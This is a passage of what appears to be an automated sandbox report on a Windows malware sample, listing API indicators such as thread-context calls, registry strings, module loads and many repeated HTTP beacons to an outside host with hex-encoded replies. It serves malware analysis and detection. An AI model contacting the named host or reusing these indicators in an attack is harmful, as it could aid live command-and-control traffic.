00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "Beep"; Source: "00000000-00000932.00000000.69539.7F510000.00000002.mdmp, 00000000-00000932.00000001.71457.7F510000.00000002.mdmp, 00000000-00000932.00000002.73376.7F510000.00000002.mdmp")32:T60e,Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp")33:T1207,"Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\" in Source: 00000000-00000932.00000000.69539.00D48000.00000004.mdmp 00000000-00000932.00000001.71457.00D48000.00000004.mdmp 00000000-00000932.00000002.73376.00D48000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00000932.00000000.69539.03130000.00000004.mdmp 00000000-00000932.00000001.71457.0315E000.00000004.mdmp 00000000-00000932.00000002.73376.0316C000.00000004.mdmp "35145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00000932.00000000.69539.04B60000.00000004.mdmp 00000000-00000932.00000001.71457.04B60000.00000004.mdmp 00000000-00000932.00000002.73376.04B60000.00000004.mdmp "WinSta0\Defa\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions" in Source: 00000000-00000932.00000000.69539.04B60000.00000004.mdmp 00000000-00000932.00000001.71457.04B60000.00000004.mdmp 00000000-00000932.00000002.73376.04B60000.00000004.mdmp "\REGISTRY\MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Winsock" in Source: 00000000-00000932.00000000.69539.04B60000.00000004.mdmp 00000000-00000932.00000001.71457.04B60000.00000004.mdmp 00000000-00000932.00000002.73376.04B60000.00000004.mdmp "\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00000932.00000000.69539.04B60000.00000004.mdmp 00000000-00000932.00000001.71457.04B60000.00000004.mdmp 00000000-00000932.00000002.73376.04B60000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{89bc3f49-f8d9-5103-ba13-de497e609167}\" in Source: 00000000-00000932.00000000.69539.05A48000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00000932.00000000.69539.7F510000.00000002.mdmp 00000000-00000932.00000001.71457.7F510000.00000002.mdmp 00000000-00000932.00000002.73376.7F510000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00000932.00000000.69539.7F510000.00000002.mdmp 00000000-00000932.00000001.71457.7F510000.00000002.mdmp 00000000-00000932.00000002.73376.7F510000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00000932.00000000.69539.7F510000.00000002.mdmp 00000000-00000932.00000001.71457.7F510000.00000002.mdmp 00000000-00000932.00000002.73376.7F510000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00000932.00000000.69539.7F510000.00000002.mdmp 00000000-00000932.00000001.71457.7F510000.00000002.mdmp 00000000-00000932.00000002.73376.7F510000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00000932.00000000.69539.7F510000.00000002.mdmp 00000000-00000932.00000001.71457.7F510000.00000002.mdmp 00000000-00000932.00000002.73376.7F510000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00000932.00000000.69539.7F510000.00000002.mdmp 00000000-00000932.00000001.71457.7F510000.00000002.mdmp 00000000-00000932.00000002.73376.7F510000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00000932.00000000.69539.7F510000.00000002.mdmp 00000000-00000932.00000001.71457.7F510000.00000002.mdmp 00000000-00000932.00000002.73376.7F510000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00000932.00000000.69539.7F510000.00000002.mdmp 00000000-00000932.00000001.71457.7F510000.00000002.mdmp 00000000-00000932.00000002.73376.7F510000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00000932.00000000.69539.7F510000.00000002.mdmp 00000000-00000932.00000001.71457.7F510000.00000002.mdmp 00000000-00000932.00000002.73376.7F510000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00000932.00000000.69539.7F510000.00000002.mdmp 00000000-00000932.00000001.71457.7F510000.00000002.mdmp 00000000-00000932.00000002.73376.7F510000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00000932.00000000.69539.7F510000.00000002.mdmp 00000000-00000932.00000001.71457.7F510000.00000002.mdmp 00000000-00000932.00000002.73376.7F510000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00000932.00000000.69539.7F510000.00000002.mdmp 00000000-00000932.00000001.71457.7F510000.00000002.mdmp 00000000-00000932.00000002.73376.7F510000.00000002.mdmp34:T37f3,"GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B5531546E6C3361574E74526E5661526A6C365A45684A61553970536D3958617A4658566B525261575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B553154304E3361574E74526E5661526A6C365A45684A61553970536B745652475276566A413061575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3354554E3361574E74526E5661526A6C365A45684A61553970536C4E524D46704F5531686E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3354554E3361574E74526E5661526A6C365A45684A61553970536B355052303430576B524A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3354576C3361574E74526E5661526A6C365A45684A615539705354426C5647685955565A6E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3354586C3361574E74526E5661526A6C365A45684A61553970536B78505633524455315A5A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C33546B4E3361574E74526E5661526A6C365A45684A61553970536C7058613252745A555A4A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C33546C4E3361574E74526E5661526A6C365A45684A61553970536D785057475233576B5A7261575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C33546D6C3361574E74526E5661526A6C365A45684A61553970536E426A6133424D5A57704A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C33546E6C3361574E74526E5661526A6C365A45684A6155397053544E54626B35335930567A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3354304E3361574E74526E5661526A6C365A45684A61553970536C4E56656D684F55305A4261575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3354314E3361574E74526E5661526A6C365A45684A61553970536D746C563170615556553061575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3454554E3361574E74526E5661526A6C365A45684A61553970536D3955563252565430644E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3454564E3361574E74526E5661526A6C365A45684A61553970536B566957475250556C5A4661575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3454576C3361574E74526E5661526A6C365A45684A61553970536C5250527A464D59555A7661575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3454586C3361574E74526E5661526A6C365A45684A61553970536C686C524768505655684A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C34546B4E3361574E74526E5661526A6C365A45684A615539705354466156465A355631564A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C34546C4E3361574E74526E5661526A6C365A45684A61553970536A4E4E61314A5756315A4261575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C34546D6C3361574E74526E5661526A6C365A45684A61553970536E425756574E355532317661575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C34546E6C3361574E74526E5661526A6C365A45684A61553970536B704F566B4A58556D314E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3454304E3361574E74526E5661526A6C365A45684A61553970536C4E58567A567359544A7261575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:06:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3454314E3361574E74526E5661526A6C365A45684A61553970536D31526133427357544E6A61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:07:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3554554E3361574E74526E5661526A6C365A45684A61553970536C646A4D456F7A5630566E61575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:07:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3554564E3361574E74526E5661526A6C365A45684A61553970536E70505345356F5657787261575A6C655570365956645261553971....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Sat 02 Sep 2023 00:07:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>36300D0A5758684E656B6C3554576C3361574E74526E5661526A6C365A45684A61553970536B6C544D5549325631525A61575A6C655570365956645261553971.......35:T28f2,".exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 771f0000 ".exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 771f0000 ".exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 771f0000 ".exe" loaded module "KERNEL32" at base 74990000 ".exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73f00000 ".exe" loaded module "KERNEL32.DLL" at base 74990000 ".exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 72c30000 ".exe" loaded module "NTDLL.DLL" at base 77b10000 ".exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73b40000 ".exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 74ef0000 ".exe" loaded module "SHELL32.DLL" at base 75730000 ".exe" loaded module "RPCRT4.DLL" at base 77870000 ".exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72ba0000 ".exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 75730000 ".exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 74990000 ".exe" loaded module "USER32.DLL" at base 773d0000 ".exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 72a10000 ".exe" loaded module "MSISO.DLL" at base 729b0000 ".exe" loaded module "SSPICLI.DLL" at base 74530000 ".exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 771f0000 ".exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74480000 "oldplayer.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 771f0000 "oldplayer.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 771f0000 "oldplayer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 771f0000 "oldplayer.exe" loaded module "KERNEL32" at base 74990000 "oldplayer.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73f00000 "oldplayer.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 72c30000 "oldplayer.exe" loaded module "KERNEL32.DLL" at base 74990000 "oldplayer.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 75730000 "oldplayer.exe" loaded module "COMCTL32.DLL" at base 73800000 "oldplayer.exe" loaded module "NTDLL.DLL" at base 77b10000 "oldplayer.exe" loaded module "USER32.DLL" at base 773d0000 "oldplayer.exe" loaded module "%WINDIR%\SYSTEM32\DUSER.DLL" at base 72d20000 "oldplayer.exe" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_8E66FBC1026DF8AB\GDIPLUS.DLL" at base 74270000 "oldplayer.exe" loaded module "RPCRT4.DLL" at base 77870000 "oldplayer.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 72400000 "oldplayer.exe" loaded module "OLEAUT32.DLL" at base 77a60000 "oldplayer.exe" loaded module "ATLTHUNK.DLL" at base 72d10000 "oldplayer.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 773d0000 "oldplayer.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 773d0000 "oldplayer.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 74550000 "oldplayer.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 76c20000 "oldplayer.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 775a0000 "oldplayer.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 72a60000 "oldplayer.exe" loaded module "%WINDIR%\SYSWOW64\OLEAUT32.DLL" at base 77a60000 "oldplayer.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73b40000 "oldplayer.exe" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 71f80000 "oldplayer.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 71ef0000 "oldplayer.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 75730000 "oldplayer.exe" loaded module "SHELL32.DLL" at base 75730000 "oldplayer.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 74ef0000 "oldplayer.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 74990000 "oldplayer.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 71d20000 "oldplayer.exe" loaded module "MSISO.DLL" at base 71cc0000 "oldplayer.exe" loaded module "SSPICLI.DLL" at base 74530000 "oldplayer.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 771f0000 "oldplayer.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74480000 "oldplayer.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 776a0000 "ss41.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base eb5d0000 "ss41.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base eb5d0000 "ss41.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base eb5d0000 "ss41.exe" loaded module "KERNEL32" at base ee650000 "ss41.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base de370000 "ss41.exe" loaded module "MSVCRT" at base ee5b0000 "ss41.exe" loaded module "WININET" at base db810000 "ss41.exe" loaded module "KERNEL32.DLL" at base ee650000 "ss41.exe" loaded module "RPCRT4.DLL" at base ec750000 "ss41.exe" loaded module "SSPICLI.DLL" at base eb420000 "ss41.exe" loaded module "USER32.DLL" at base eefa0000 "ss41.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base cff70000 "ss41.exe" loaded module "WINHTTP.DLL" at base e47d0000 "ss41.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base cff70000 "ss41.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base ead50000 "ss41.exe" loaded module "MSISO.DLL" at base cc560000 "ss41.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base e3590000 "ss41.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base e3ab0000 "ss41.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base ec970000 "ss41.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base ea8a0000 